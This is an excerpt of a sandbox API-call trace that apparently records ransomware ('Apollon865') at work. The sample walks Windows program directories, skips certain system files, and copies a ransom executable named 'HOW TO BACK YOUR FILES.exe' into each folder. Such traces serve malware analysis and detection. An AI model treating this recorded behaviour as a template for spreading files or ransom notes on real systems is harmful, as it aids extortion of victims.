	[0055.831] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1
	[0055.831] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1
	[0055.831] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1
	[0055.831] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1
	[0055.831] lstrlenW (lpString="en-US") returned 5
	[0055.831] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\*") returned 51
	[0055.832] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\en-US") returned="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\en-US"
	[0055.832] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0055.832] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0055.832] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\en-US") returned 55
	[0055.832] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\en-US" | out: lpString1="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\en-US") returned="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\en-US"
	[0055.832] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.832] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\system\\ole db\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.838] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.838] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x395b4d10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x395b4d10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.839] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.839] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.839] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0055.839] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x395b4d10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x395b4d10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.839] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.839] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0055.839] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\System\\msadc", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\System\\msadc") returned="C:\\Program Files (x86)\\Common Files\\System\\msadc"
	[0055.839] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0055.839] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0055.839] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\System\\msadc") returned 48
	[0055.839] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\System\\msadc" | out: lpString1="C:\\Program Files (x86)\\Common Files\\System\\msadc") returned="C:\\Program Files (x86)\\Common Files\\System\\msadc"
	[0055.839] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.839] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\system\\msadc\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.846] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.846] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x395b4d10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x395b4d10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.847] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.847] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.847] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US") returned="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US"
	[0055.847] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0055.847] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0055.847] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US") returned 54
	[0055.847] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US" | out: lpString1="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US") returned="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US"
	[0055.847] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.847] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\system\\msadc\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.853] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.853] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x395dae70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x395dae70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.853] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.854] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.854] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\System\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\System\\en-US") returned="C:\\Program Files (x86)\\Common Files\\System\\en-US"
	[0055.854] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8fa0 | out: hHeap=0x580000) returned 1
	[0055.854] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0055.854] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\System\\en-US") returned 48
	[0055.854] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\System\\en-US" | out: lpString1="C:\\Program Files (x86)\\Common Files\\System\\en-US") returned="C:\\Program Files (x86)\\Common Files\\System\\en-US"
	[0055.854] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.854] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\System\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\system\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.858] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.858] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x395dae70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x395dae70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.858] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.858] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.858] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\System\\ado", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\System\\ado") returned="C:\\Program Files (x86)\\Common Files\\System\\ado"
	[0055.858] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5458 | out: hHeap=0x580000) returned 1
	[0055.858] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0055.859] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\System\\ado") returned 46
	[0055.859] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\System\\ado" | out: lpString1="C:\\Program Files (x86)\\Common Files\\System\\ado") returned="C:\\Program Files (x86)\\Common Files\\System\\ado"
	[0055.859] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.859] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\system\\ado\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.865] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.865] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x395dae70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x395dae70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.865] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.865] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.865] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\System\\ado\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\System\\ado\\en-US") returned="C:\\Program Files (x86)\\Common Files\\System\\ado\\en-US"
	[0055.865] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0055.865] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0055.865] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\System\\ado\\en-US") returned 52
	[0055.865] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\System\\ado\\en-US" | out: lpString1="C:\\Program Files (x86)\\Common Files\\System\\ado\\en-US") returned="C:\\Program Files (x86)\\Common Files\\System\\ado\\en-US"
	[0055.865] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.865] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\system\\ado\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.869] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.869] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x39600fd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39600fd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.869] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.869] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.869] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\SpeechEngines", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\SpeechEngines") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines"
	[0055.869] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0055.870] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0055.870] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\SpeechEngines") returned 49
	[0055.870] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\SpeechEngines" | out: lpString1="C:\\Program Files (x86)\\Common Files\\SpeechEngines") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines"
	[0055.870] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.870] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\speechengines\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.875] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.875] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x39600fd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39600fd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.875] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.875] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.875] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft"
	[0055.875] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0055.875] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0055.875] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft") returned 59
	[0055.875] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft" | out: lpString1="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft"
	[0055.875] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.876] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.879] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.879] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x39600fd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39600fd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.880] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.881] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.881] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20"
	[0055.881] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0055.881] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0055.881] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20") returned 65
	[0055.881] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20" | out: lpString1="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20"
	[0055.881] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.881] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0055.882] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154
	[0055.882] GetLastError () returned 0x0
	[0055.882] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0055.882] ReadFile (in: hFile=0x154, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0055.882] CloseHandle (hObject=0x154) returned 1
	[0055.882] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0055.882] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.882] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.883] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.883] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.883] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US"
	[0055.883] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0055.883] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0055.883] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US") returned 71
	[0055.883] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US" | out: lpString1="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US"
	[0055.883] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.883] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0055.884] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154
	[0055.884] GetLastError () returned 0x0
	[0055.884] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0055.884] ReadFile (in: hFile=0x154, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0055.884] CloseHandle (hObject=0x154) returned 1
	[0055.884] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0055.884] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.884] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.884] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.884] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.885] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk"
	[0055.885] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0055.885] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0055.885] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk") returned 79
